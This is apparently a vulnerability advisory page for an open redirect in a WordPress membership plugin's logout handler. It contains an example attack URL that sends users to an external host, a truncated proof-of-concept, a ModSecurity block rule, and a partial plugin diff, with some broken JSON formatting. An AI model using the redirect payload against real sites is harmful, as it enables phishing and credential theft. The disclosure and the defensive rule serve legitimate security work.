“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-6203:nThis vulnerability is an unauthenticated open redirect in the User Registration & Membership WordPress plugin versions up to and including 5.1.4. The vulnerability exists in the logout functionality, where insufficient validation of the ‘redirect_to_on_logout’ GET parameter allows attackers to redirect users to arbitrary external URLs after logout, facilitating phishing attacks. The CVSS score of 6.1 reflects the moderate impact of this client-side redirection vulnerability.nnThe root cause lies in the plugin’s logout handler processing user-supplied URLs via the ‘redirect_to_on_logout’ GET parameter. The vulnerable code passes this parameter directly to WordPress’s wp_redirect() function instead of the domain-restricted wp_safe_redirect(). While esc_url_raw() sanitizes malformed URLs, it does not restrict redirect destinations to the local domain. The vulnerability manifests in the logout flow where the redirect_to_on_logout parameter is processed without proper domain validation.nnExploitation requires an attacker to craft a malicious link containing the redirect_to_on_logout parameter pointing to an external domain. When a logged-in user clicks this link and logs out, they are redirected to the attacker-controlled URL. The attack vector uses the standard WordPress logout endpoint with the vulnerable parameter appended: /wp-login.php?action=logout&redirect_to_on_logout=https://malicious.example.com. No authentication is required to trigger the redirect.nnThe patch addresses the vulnerability by replacing wp_redirect() with wp_safe_redirect() for the redirect_to_on_logout parameter. wp_safe_redirect() validates that the redirect destination is within the same domain, preventing external redirections. The fix ensures that even if esc_url_raw() sanitizes the URL, the domain restriction enforced by wp_safe_redirect() blocks malicious external redirects. This change maintains the logout functionality while eliminating the open redirect vulnerability.nnSuccessful exploitation allows attackers to redirect users to phishing sites after logout, potentially stealing credentials or delivering malware. While the vulnerability does not directly compromise the WordPress installation, it enables social engineering attacks that could lead to credential theft. The redirect occurs after logout, making it appear legitimate to users who might not suspect malicious activity.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-6203 – User Registration & Membership <= 5.1.4 – Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameternn<?phpn/**n * Proof of Concept for CVE-2026-6203n * Demonstrates unauthenticated open redirect via redirect_to_on_logout parametern * Target: WordPress User Registration & Membership plugin n,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-6203nSecRule REQUEST_URI “@rx ^/wp-login\.php$” \n “id:20266203,phase:2,deny,status:403,chain,msg:’CVE-2026-6203: User Registration & Membership Open Redirect via redirect_to_on_logout’,severity:’CRITICAL’,tag:’CVE-2026-6203′,tag:’OWASP_A1:Injection’,tag:’WASCTC:WASC-38′,tag:’PCI:6.5.4′”n SecRule ARGS_GET:action “@streq logout” “chain”n SecRule ARGS_GET:redirect_to_on_logout “@rx ^(ht|f)tps?://[^/]*” \n “t:lowercase,t:urlDecodeUni,t:removeNulls,ctl:auditLogParts=+E””
}
“`

CVE-2026-6203: User Registration & Membership <= 5.1.4 – Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameter (user-registration)
CVE-2026-6203
user-registration
5.1.4
5.1.5
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '06d415d07a8adb835583');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'e45e2dcd7926e720b9bf');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '0daf06e249724400ad37');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => 'dbbc339be9cb070babed');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3062c7222eea20d25b64');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '1fc21244f537b0e80d15');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3ad757068ff7212280e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '5ed4cc7658d6c1417567');
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -80,18 +80,38 @@
return;
}
+ $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+
+ if ( ! wp_style_is( 'ur-snackbar', 'registered' ) ) {
+ wp_register_style(
+ 'ur-snackbar',
+ UR()->plugin_url() . '/assets/css/ur-snackbar/ur-snackbar.css',
+ array(),
+ constant( 'UR_VERSION' )
+ );
+ }
+ wp_enqueue_style( 'ur-snackbar' );
+
+ wp_enqueue_style( 'sweetalert2' );
+
if ( ! wp_style_is( 'ur-core-builder-style', 'registered' ) ) {
wp_register_style(
'ur-core-builder-style',
UR()->plugin_url() . '/assets/css/admin.css',
array(),
- UR_VERSION
+ constant( 'UR_VERSION' )
);
}
wp_enqueue_style( 'ur-core-builder-style' );
$asset = require $asset_file;
+ wp_register_script( 'ur-snackbar', UR()->plugin_url() . '/assets/js/ur-snackbar/ur-snackbar' . $suffix . '.js', array(), constant( 'UR_VERSION' ), true );
+ wp_enqueue_script( 'ur-snackbar' );
+
+ wp_enqueue_script( 'ur-feature-gate' );
+ wp_enqueue_style( 'ur-feature-gate' );
+
wp_enqueue_script(
'ur-analytics',
UR()->plugin_url() . '/chunks/analytics.js',
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -391,6 +391,17 @@
);
$duration_label = $duration_labels[ $duration_key ] ?? ucfirst( $duration_key );
}
+
+ $subscription_period = $membership_cur_amount;
+ if ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] && ! empty( $duration_label ) ) {
+ $sub_value = (int) $membership['meta_value']['subscription']['value'];
+ if ( 1 === $sub_value ) {
+ $subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . $duration_label;
+ } else {
+ $subscription_period = $membership_cur_amount . ' ' . __( 'every', 'user-registration' ) . ' ' . number_format( $sub_value ) . ' ' . ucfirst( $duration_label ) . __( 's', 'user-registration' );
+ }
+ }
+
$new_mem[ $k ] = array(
'ID' => $membership_id,
'title' => ! empty( $membership['post_title'] ) ? $membership['post_title'] : '',
@@ -399,7 +410,7 @@
'amount' => ! empty( $membership_meta_value ) ? $membership['meta_value']['amount'] : 0,
'currency_symbol' => $symbol,
'calculated_amount' => 'free' === $membership_type ? 0 : ( ! empty( $membership_meta_value ) ? round( $membership_meta_value['amount'] ) : 0 ),
- 'period' => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? __( 's', 'user-registration' ) : '' ) : $membership_cur_amount ),
+ 'period' => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : $subscription_period,
);
if ( isset( $membership['meta_value']['payment_gateways'] ) ) {
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
@@ -633,6 +633,10 @@
if ( ! empty( $page['option'] ) ) {
update_option( $page['option'], $post_id );
+ if ( 'user_registration_thank_you_page_id' === $page['option'] && $existing_form_id ) {
+ update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_after_registration', 'internal-page' );
+ update_post_meta( $existing_form_id, 'user_registration_form_setting_redirect_page', $post_id );
+ }
}
$page_details[ get_post_field( 'post_name', $post_id ) ] = array(
@@ -677,7 +681,11 @@
'title' => esc_html__( 'Registration Form', 'user-registration' ),
'page_url' => admin_url( 'admin.php?page=add-new-registration&edit-registration=' . $normal_form_id ),
'page_url_text' => esc_html__( 'View Form', 'user-registration' ),
- 'page_slug' => sprintf( esc_html__( 'Form Id: %s', 'user-registration' ), $normal_form_id ),
+ 'page_slug' => sprintf(
+ /* translators: %s: Form ID. */
+ esc_html__( 'Form Id: %s', 'user-registration' ),
+ $normal_form_id
+ ),
'status' => 'enabled',
'status_label' => esc_html__( 'Ready to use', 'user-registration' ),
);
@@ -912,6 +920,7 @@
'index' => $index,
'name' => isset( $membership['name'] ) ? $membership['name'] : '',
'message' => sprintf(
+ /* translators: 1: Membership plan type 2: Allowed membership plan types. */
__( 'Invalid membership type: %1$s. Only %2$s memberships are allowed based on your selection.', 'user-registration' ),
$plan_type,
implode( ' or ', $allowed_types )
@@ -1591,6 +1600,7 @@
*
* @param WP_REST_Request $request Request instance.
* @return WP_REST_Response
+ * @throws Exception When Stripe credential validation fails.
*/
public static function save_payment_settings( $request ) {
$offline_payment = isset( $request['offline_payment'] ) ? (bool) $request['offline_payment'] : false;
@@ -1618,7 +1628,9 @@
$offline_configured = true;
if ( $offline_payment ) {
- $offline_configured = ! empty( trim( wp_strip_all_tags( $bank_details ) ) );
+ $sanitized_bank_details = trim( wp_strip_all_tags( $bank_details ) );
+ $offline_configured = ! empty( $sanitized_bank_details );
+
if ( ! $offline_configured ) {
$configuration_needed[] = array(
'gateway' => 'offline',
@@ -1734,24 +1746,13 @@
continue;
}
- try {
- $post_data = array(
- 'ID' => $membership_id,
- 'post_title' => $post->post_title,
- 'post_content' => $post->post_content,
- );
+ $post_data = array(
+ 'ID' => $membership_id,
+ 'post_title' => $post->post_title,
+ 'post_content' => $post->post_content,
+ );
- $stripe_result = $stripe_service->create_stripe_product_and_price( $post_data, $meta, false );
-
- if ( isset( $stripe_result['success'] ) && ur_string_to_bool( $stripe_result['success'] ) ) {
- $meta['payment_gateways']['stripe'] = array();
- $meta['payment_gateways']['stripe']['product_id'] = $stripe_result['price']->product;
- $meta['payment_gateways']['stripe']['price_id'] = $stripe_result['price']->id;
- update_post_meta( $membership_id, 'ur_membership', wp_json_encode( $meta ) );
- }
- } catch ( Exception $e ) {
- continue;
- }
+ user_registration_create_product_and_price_for_stripe( $post_data );
}
} catch ( Exception $e ) {
--- a/user-registration/includes/abstracts/abstract-ur-form-field.php
+++ b/user-registration/includes/abstracts/abstract-ur-form-field.php
@@ -910,6 +910,26 @@
}
break;
+ case 'multiselect':
+ if ( isset( $setting_value['options'] )
+ && gettype( $setting_value['options'] ) == 'array' ) {
+
+ $general_setting_wrapper .= '<select data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-multiselect ur-type-' . esc_attr( $setting_value['type'] ) . '" name="' . esc_attr( $setting_value['name'] ) . '" multiple>';
+
+ $selected_arr = $this->get_general_setting_data( $setting_key );
+ $selected_arr = maybe_unserialize( $selected_arr );
+ $selected_arr = is_array( $selected_arr ) ? $selected_arr : array();
+ foreach ( $setting_value['options'] as $key => $val ) {
+ $selected = selected( in_array( $key, $selected_arr ), true, false );
+ $general_setting_wrapper .= '<option value="' . esc_attr( $key ) . '" ' . esc_attr( $selected ) . '>';
+ $general_setting_wrapper .= esc_html( $val );
+ $general_setting_wrapper .= '</option>';
+ }
+
+ $general_setting_wrapper .= '</select>';
+ }
+ break;
+
case 'textarea':
$general_setting_wrapper .= '<textarea data-field="' . esc_attr( $setting_key ) . '" class="ur-general-setting-field ur-type-' . esc_attr( $setting_value['type'] ) . '" name="' . esc_attr( $setting_value['name'] ) . '" placeholder= "' . esc_attr( $setting_value['placeholder'] ) . '" ';
--- a/user-registration/includes/admin/class-ur-admin-assets.php
+++ b/user-registration/includes/admin/class-ur-admin-assets.php
@@ -174,6 +174,9 @@
);
}
+ wp_register_script( 'popper', UR()->plugin_url() . "/assets/js/popper/popper$suffix.js", [], UR_VERSION, true );
+ wp_register_script( 'tippy', UR()->plugin_url() . "/assets/js/tippy/tippy$suffix.js", [ 'popper' ], UR_VERSION, true );
+
wp_register_script( 'jquery-blockui', UR()->plugin_url() . '/assets/js/jquery-blockui/jquery.blockUI' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
wp_register_script( 'tooltipster', UR()->plugin_url() . '/assets/js/tooltipster/tooltipster.bundle' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
wp_register_script( 'jquery-confirm', UR()->plugin_url() . '/assets/js/jquery-confirm/jquery-confirm' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );
--- a/user-registration/includes/admin/class-ur-admin-base-layout.php
+++ b/user-registration/includes/admin/class-ur-admin-base-layout.php
@@ -1,6 +1,8 @@
<?php
/**
* Base Page class for pages.
+ *
+ * @package UserRegistration
*/
use WPEverestURMembershipAdminRepositoriesMembershipGroupRepository;
@@ -9,6 +11,11 @@
exit;
}
+/**
+ * Base Layout class for pages.
+ *
+ * @package UserRegistration
+ */
class UR_Base_Layout {
/**
* Render a standard list-table page layout for a given WP_List_Table instance.
@@ -49,10 +56,6 @@
$total_items = (int) $table->get_pagination_arg( 'total_items' );
}
- $is_searching = isset( $_GET['s'] ) && '' !== trim( wp_unslash( $_GET['s'] ) );
-
- $show_search = ( $total_items > 10 ) || $is_searching;
-
$is_membership_page = isset( $_GET['page'] ) && 'user-registration-membership' === $_GET['page'] && ! isset( $_GET['action'] ) ? true : false;
?>
@@ -139,8 +142,8 @@
/**
* Display Search Input with button
*
- * @param $search_id
- * @param $placeholder
+ * @param string $search_id HTML id attribute for the search input.
+ * @param string $placeholder Placeholder text for the search input (ellipsis is appended).
*
* @return void
*/
@@ -148,7 +151,7 @@
?>
<input type="search" id="<?php echo esc_attr( $search_id ); ?>" name="s"
value="<?php echo esc_attr( $_GET['s'] ?? '' ); ?>"
- placeholder="<?php echo esc_attr( $placeholder ); ?> ..."
+ placeholder="<?php echo esc_attr( $placeholder ); ?>..."
autocomplete="off">
<button type="submit" id="search-submit">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
@@ -182,18 +185,35 @@
esc_html( $type )
);
- $secondary_message = sprintf(
- /* translators: %s: type */
- __( 'Please add %s and you’re good to go.', 'user-registration' ),
- esc_html( strtolower( $type ) )
- );
+ if ( 'Memberships' === $type ) {
+ $secondary_message = sprintf(
+ /* translators: %s: type */
+ __( 'Need help setting up your %s?', 'user-registration' ),
+ esc_html( strtolower( $type ) )
+ );
+ } else {
+
+ $secondary_message = sprintf(
+ /* translators: %s: type */
+ __( 'Please add %s and you’re good to go.', 'user-registration' ),
+ esc_html( strtolower( $type ) )
+ );
+ }
+
+ $video_url = 'https://www.youtube.com/playlist?list=PLcrB6drBDePkshUw7r5BNVLRwpr8RaXyy';
}
?>
<div class="empty-list-table-container">
<img src="<?php echo esc_url( $image_url ); ?>" alt="">
<h3><?php echo esc_html( $primary_message ); ?></h3>
- <p><?php echo wp_kses_post( $secondary_message ); ?></p>
- </div>
+ <div class="empty-list-table-subtext">
+ <p><?php echo wp_kses_post( $secondary_message ); ?></p>
+ <?php if ( ! empty( $video_url ) && 'Memberships' === $type ) : ?>
+ <a class="empty-video-url" target="_blank" href="<?php echo esc_url( $video_url ); ?>"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-external-link"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/><polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/></svg>
+ <?php echo 'Watch Tutorials'; ?></a>
+ <?php endif; ?>
+ </div>
+ </div>
<?php
}
}
--- a/user-registration/includes/admin/class-ur-admin-menus.php
+++ b/user-registration/includes/admin/class-ur-admin-menus.php
@@ -1119,6 +1119,18 @@
wp_enqueue_style( 'ur-toast' );
wp_enqueue_script( 'ur-enhanced-select-custom' );
+ wp_add_inline_script(
+ 'ur-enhanced-select-custom',
+ "
+ (function($) {
+ 'use strict';
+ $(document).ready(function() {
+ $('.ur-multiselect').select2();
+ });
+ })(jQuery);
+ "
+ );
+
wp_localize_script(
'ur-setup',
'ur_setup_params',
--- a/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
+++ b/user-registration/includes/admin/class-ur-admin-registrations-table-list.php
@@ -245,6 +245,9 @@
public function display() {
$singular = $this->_args['singular'];
+ $this->views();
+ echo '</br>';
+
$this->display_tablenav( 'top' );
$this->screen->render_screen_reader_content( 'heading_list' );
--- a/user-registration/includes/admin/class-ur-admin-settings.php
+++ b/user-registration/includes/admin/class-ur-admin-settings.php
@@ -65,7 +65,8 @@
global $current_section, $current_tab;
global $current_section_part;
- $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+ $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+ $current_tab_for_assets = empty( $_GET['tab'] ) ? 'general' : sanitize_title( wp_unslash( $_GET['tab'] ) ); // phpcs:ignore WordPress.Security.NonceVerification
/**
* Action to output start settings
@@ -123,6 +124,41 @@
"
);
+ if ( 'payment' === $current_tab_for_assets ) {
+ wp_enqueue_script( 'tippy' );
+ if ( ! wp_style_is( 'ur-membership-admin-style', 'registered' ) ) {
+ wp_register_style( 'ur-membership-admin-style', UR()->plugin_url() . '/assets/css/modules/membership/user-registration-membership-admin.css', array(), UR_VERSION );
+ }
+ wp_enqueue_style( 'ur-membership-admin-style' );
+ wp_add_inline_script(
+ 'tippy',
+ 'jQuery(document).ready(function() {
+ var el = document.querySelectorAll("[data-gate-content]");
+ if (el.length && typeof window.tippy !== "undefined") {
+ tippy.setDefaultProps({ maxWidth: "280px" });
+ el.forEach(function(ref) {
+ var placement = ref.getAttribute("data-gate-placement") || "right";
+ tippy(ref, {
+ content: function() {
+ var id = ref.getAttribute("data-gate-content");
+ var template = document.getElementById(id);
+ if (!template || !template.content) return "";
+ var div = document.createElement("div");
+ div.appendChild(template.content.cloneNode(true));
+ return div.innerHTML;
+ },
+ allowHTML: true,
+ interactive: true,
+ placement: placement,
+ inertia: true,
+ theme: "ur-gate"
+ });
+ });
+ }
+ });'
+ );
+ }
+
wp_add_inline_style(
'ur-snackbar',
'
@@ -198,8 +234,6 @@
'i18n' => array(
'advanced_logic_rules_exist_error' => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
'advanced_logic_check_error' => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
- 'advanced_logic_rules_exist_error' => esc_html__( 'Remove all rules with advance logics first before disabling.', 'user-registration' ),
- 'advanced_logic_check_error' => esc_html__( 'An error occurred while checking for advanced logic rules.', 'user-registration' ),
'captcha_success' => esc_html__( 'Captcha Test Successful !', 'user-registration' ),
'captcha_reset_title' => esc_html__( 'Reset Keys', 'user-registration' ),
'payment_reset_title' => esc_html__( 'Reset Details', 'user-registration' ),
@@ -267,7 +301,7 @@
*
* @param array Array of settings page
*/
- $tabs = apply_filters( 'user_registration_settings_tabs_array', array() );
+ $tabs = apply_filters( 'user_registration_settings_tabs_array', array() ); // phpcs:ignore
$GLOBALS['hide_save_button'] = false;
if ( 'import_export' === $current_tab ) {
@@ -298,11 +332,7 @@
$settings[] = include 'settings/class-ur-settings-email.php';
$settings[] = include 'settings/class-ur-settings-registration-login.php';
$settings[] = include 'settings/class-ur-settings-my-account.php';
-
- // $is_pro_active = is_plugin_active( 'user-registration-pro/user-registration.php' );
- // if( $is_pro_active ) {
$settings[] = include 'settings/class-ur-settings-integration.php';
- // }
$settings[] = include 'settings/class-ur-settings-security.php';
$settings[] = include 'settings/class-ur-settings-advanced.php';
@@ -339,7 +369,7 @@
$flag = apply_filters( 'user_registration_settings_prevent_default_login', $_REQUEST );
if ( $flag && is_bool( $flag ) ) {
- if ( $current_tab !== 'license' ) {
+ if ( 'license' !== $current_tab ) {
self::add_message( esc_html__( 'Your settings have been saved.', 'user-registration' ) );
}
@@ -403,6 +433,7 @@
* Add an error.
*
* @param string $text Text.
+ * @param string $type Error Type.
*/
public static function add_error( $text, $type = '' ) {
if ( ! empty( $type ) ) {
@@ -420,6 +451,7 @@
* @param array $options Opens array to output.
*/
public static function output_fields( $options ) {
+
$settings = '';
if ( is_array( $options ) && ! empty( $options ) ) {
@@ -469,25 +501,25 @@
if ( ! empty( $section['title'] ) ) {
$settings .= '<div class="user-registration-card__header-wrapper">';
if ( isset( $section['back_link'] ) ) {
- $settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself
+ $settings .= $section['back_link']; // removed kses since the inputs are sanitized in the function ur_back_link itself.
}
$settings .= '<h3 class="user-registration-card__title">';
$settings .= esc_html( ucwords( $section['title'] ) );
if ( isset( $section['is_premium'] ) && $section['is_premium'] ) {
- $settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' . '" /></div>';
+ $settings .= '<div style="margin-right: 4px;display: inline-block;width: 16px; height: 16px;" ><img style="width: 100%;height:100%;" src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" /></div>';
}
$settings .= '</h3>';
if ( ! empty( $section['button'] ) ) {
if ( isset( $section['button']['button_type'] ) && 'upgrade_link' === $section['button']['button_type'] ) {
- $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank">' . '<span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
+ $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="ur-upgrade--link" target="_blank"><span>' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span></a>';
} else {
$button_class = isset( $section['button']['button_class'] ) ? esc_attr( $section['button']['button_class'] ) : 'user_registration_smart_tags_used';
$button_type = isset( $section['button']['button_type'] ) ? $section['button']['button_type'] : '';
$button_target = ( 'ur-add-new-custom-email' === $button_type ) ? '' : 'target="_blank"';
$external_icon = ( 'ur-add-new-custom-email' === $button_type ) ? '' : '<span class="dashicons dashicons-external"></span>';
- $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '>' . '<span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
+ $settings .= '<a href="' . ( isset( $section['button']['button_link'] ) ? $section['button']['button_link'] : '#' ) . '" class="' . $button_class . '" style="min-width:90px;" ' . $button_target . '><span style="text-decoration: underline;">' . ( isset( $section['button']['button_text'] ) ? $section['button']['button_text'] : '' ) . '</span>' . $external_icon . '</a>';
}
}
$settings .= '</div>';
@@ -499,15 +531,15 @@
$settings .= '</div>';
- //Show upsell texts.
+ // Show upsell texts.
if ( ! empty( $section['upsell'] ) ) {
$upsell_section = $section['upsell'];
$settings .= '<div class="user-registration-upsell">';
- //excerpt.
+ // excerpt.
if ( ! empty( $upsell_section['excerpt'] ) ) {
$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
}
- //descriptions.
+ // descriptions.
if ( ! empty( $upsell_section['description'] ) ) {
if ( is_string( $upsell_section['description'] ) ) {
$settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $upsell_section['excerpt'] ) ) . '</p>';
@@ -528,10 +560,6 @@
$settings .= '</div>';
}
- if ( ! empty( $section['before_desc'] ) ) {
- // $settings .= '<p style="font-size: 14px;">' . wptexturize( wp_kses_post( $section['before_desc'] ) ) . '</p>';
- }
-
if ( ! empty( $section['desc'] ) ) {
$settings .= '<p class="ur-p-tag">' . wptexturize( wp_kses_post( $section['desc'] ) ) . '</p>';
}
@@ -565,8 +593,14 @@
} else {
$settings .= '<div class="user-registration-card ur-mb-2' . $is_captcha . '" ' . esc_attr( $section_id ) . '>';
}
+
$settings .= '<div class="user-registration-card__header ur-d-flex ur-align-items-center ur-p-3 integration-header-info accordion' . $is_captcha_header . '">';
- $settings .= '<div class="integration-detail">';
+ if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+ $settings .= '<div class="integration-detail upgradable-type">';
+ } else {
+
+ $settings .= '<div class="integration-detail ">';
+ }
$settings .= '<figure class="logo">';
$settings .= '<img src="' . UR()->plugin_url() . '/assets/images/settings-icons/' . $section['id'] . '.png" alt="' . $section['title'] . '">';
$settings .= '</figure>';
@@ -574,6 +608,21 @@
$settings .= '<h3 class="user-registration-card__title">' . esc_html( $section['title'] );
$settings .= '</h3>';
}
+ if ( ! UR_PRO_ACTIVE && ( 'free-mollie' === $section['id'] || 'free-authorize-net' === $section['id'] ) ) {
+ $result = ' data-gate-content="ur-pro-' . $section['id'] . '"';
+ $settings .= '<img class="ur-pro-premium" data-feature-gate="tooltip" data-gate-placement="right" data-gate-interactive="true"' . $result . ' src="' . UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png" alt="' . $section['title'] . '">';
+ $settings .= '<template id="ur-pro-' . $section['id'] . '">';
+ $settings .= '<div class="ur-feature">';
+ $settings .= '<div class="ur-feature__title">';
+ $settings .= esc_html__( $section['title'] . ' payment feature only available in Pro.', 'user-registration' );
+ $settings .= '</div>';
+ $settings .= '<a target="_blank" class="ur-feature__btn" href="https://wpuserregistration.com/upgrade/?utm_source=ur-membership-create&utm_medium=upgrade-link&utm-campaign=lite-version">';
+ $settings .= '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M11.562 3.266a.5.5 0 0 1 .876 0L15.39 8.87a1 1 0 0 0 1.516.294L21.183 5.5a.5.5 0 0 1 .798.519l-2.834 10.246a1 1 0 0 1-.956.734H5.81a1 1 0 0 1-.957-.734L2.02 6.02a.5.5 0 0 1 .798-.519l4.276 3.664a1 1 0 0 0 1.516-.294z"></path><path d="M5 21h14"></path></svg>';
+ $settings .= esc_html__( 'Upgrade to Pro', 'user-registration' );
+ $settings .= '</a>';
+ $settings .= '</div>';
+ $settings .= '</template>';
+ }
$settings .= '<span class="ur-connection-status ' . ( $is_connected ? 'ur-connection-status--active' : '' ) . '">';
$settings .= '</span>';
@@ -656,6 +705,13 @@
$field_description = self::get_field_description( $value );
extract( $field_description ); // phpcs:ignore
+ $notice_field = '';
+ if ( isset( $value['notice'] ) && ! empty( $value['notice'] ) ) {
+ $notice_type = isset( $value['notice']['type'] ) ? $value['notice']['type'] : 'info';
+ $notice_message = isset( $value['notice']['message'] ) ? $value['notice']['message'] : '';
+ $notice_field = '<span class="ur-settings-notice ur-settings-notice--' . $notice_type . '">' . $notice_message . '</span>';
+ }
+
// Display condition/dependency handling.
$display_condition_data = self::get_display_condition_attributes( $value );
$display_condition_attrs = $display_condition_data['attrs'];
@@ -830,7 +886,7 @@
cols="' . esc_attr( $value['cols'] ) . '"
placeholder="' . esc_attr( $value['placeholder'] ) . '"
' . esc_html( implode( ' ', $custom_attributes ) ) . '>'
- . esc_textarea( $option_value ) . '</textarea>';
+ . esc_textarea( $option_value ) . '</textarea>';
$settings .= '</div>';
$settings .= '</div>';
break;
@@ -1215,6 +1271,7 @@
$settings .= '</div>';
$settings .= wp_kses_post( $description );
$settings .= wp_kses_post( $desc_field );
+ $settings .= wp_kses_post( $notice_field );
$settings .= '</div>';
$settings .= '</div>';
break;
@@ -1284,14 +1341,14 @@
)
);
$show_reset_key_button = ( $is_connected && in_array(
- $section_id,
- array(
- 'v2',
- 'v3',
- 'hCaptcha',
- 'cloudflare',
- )
- ) );
+ $section_id,
+ array(
+ 'v2',
+ 'v3',
+ 'hCaptcha',
+ 'cloudflare',
+ )
+ ) );
if ( in_array(
$section_id,
array(
@@ -1300,6 +1357,8 @@
'bank',
'payment-settings',
'mollie',
+ 'free-mollie',
+ 'free-authorize-net',
'authorize-net',
'v2',
'v3',
@@ -1900,7 +1959,7 @@
// Save all options in our array.
foreach ( $update_options as $name => $value ) {
- //sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
+ // sync membership 'user_registration_member_registration_page_id' with 'user_registration_registration_page_id'.
if ( 'user_registration_member_registration_page_id' === $name ) {
update_option( 'user_registration_registration_page_id', $value );
}
--- a/user-registration/includes/admin/settings/class-ur-settings-general.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-general.php
@@ -114,17 +114,17 @@
'css' => '',
'desc_tip' => true,
),
- array(
- 'title' => __( 'Thank You Page', 'user-registration' ),
